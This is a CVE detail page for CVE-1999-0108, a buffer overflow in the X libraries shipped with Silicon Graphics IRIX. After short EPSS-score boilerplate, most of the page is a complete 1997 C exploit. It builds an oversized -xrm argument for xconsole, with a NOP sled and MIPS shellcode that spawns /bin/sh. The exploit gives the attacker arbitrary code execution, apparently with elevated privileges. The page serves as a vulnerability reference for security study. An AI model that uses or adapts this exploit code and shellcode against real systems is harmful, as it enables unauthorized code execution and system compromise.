CVE-1999-0108 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/334/info A vulnerability exists in the X libraries as supplied with Silicon Graphics IRIX operating system. By placing a carefully constructed buffer as the argument to the -xrm option, an attacker can execute arbitrary code. /* Exploit by David Hedley <[email protected]> * 27/5/97 * * _very_ slighty modified by Patrick J..Paulus <[email protected]> * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #define NUM_ADDRESSES 500 #define BUF_LENGTH 500 #define EXTRA 9000 #define OFFSET 0x180 /* 0x184 for Irix 6.x */ #define GP_OFFSET -0x80 #define IRIX_NOP 0x03e0f825 /* move $ra,$ra */ #define PATH_PROG "/usr/bin/X11/xconsole" /* path & program name */ #define PROG "xconsole" /* program */ #define u_long unsigned u_long get_sp_code[] = { 0x03a01025, /* move $v0,$sp */ 0x03e00008, /* jr $ra */ 0x00000000, /* nop */ }; u_long irix_shellcode[] = { 0x24041234, /* li $4,0x1234 */ 0x2084edcc, /* sub $4,0x1234 */ 0x0491fffe, /* bgezal $4,pc-4 */ 0x03bd302a, /* sgt $6,$sp,$sp */ 0x03bd202a, /* sgt $4,$sp,$sp */ 0x240203ff, /* li $v0,1023 */ 0x03ffffcc, /* syscall 0xfffff */ 0x23e40138, /* addi $4,$31,264+48 */ 0xa086feff, /* sb $6,-264+7($4) */ 0x2084fef8, /* sub $4,264 */ 0x20850110, /* addi $5,$4,264+8 */ 0xaca4fef8, /* sw $4,-264($5) */ 0xaca6fefc, /* sw $4,-260($5) */ 0x20a5fef8, /* sub $5, 264 */ 0x240203f3, /* li $v0,1011 */ 0x03ffffcc, /* syscall 0xfffff */ 0x2f62696e, /* "/bin" */ 0x2f7368ff, /* "/sh" */ }; char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8]; void main(int argc, char **argv) { char *env[] = {NULL}; u_long targ_addr, stack, tmp; u_long *long_p; int i, code_length = strlen((char *)irix_shellcode)+1; u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code; stack = get_sp(); if (stack & 0x80000000) { printf("Recompile with the '-32' option\n"); exit(1); } long_p =(u_long *) buf; targ_addr = stack + OFFSET; if (argc > 1) targ_addr += atoi(argv[1]); tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3; while ((tmp & 0xff000000) == 0 || (tmp & 0x00ff0000) == 0 || (tmp & 0x0000ff00) == 0 || (tmp & 0x000000ff) == 0) tmp += 4; for (i = 0; i < NUM_ADDRESSES/(4*sizeof(u_long)); i++) { *long_p++ = tmp; *long_p++ = tmp; *long_p++ = targ_addr; *long_p++ = targ_addr; } for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = IRIX_NOP; for (i = 0; i < code_length/sizeof(u_long); i++) *long_p++ = irix_shellcode[i]; tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = (tmp >> 8) | (tmp << 24); *long_p = 0; printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr); execle(PATH_PROG, PROG, "-xrm", &buf[2], 0, env); perror("execl failed"); }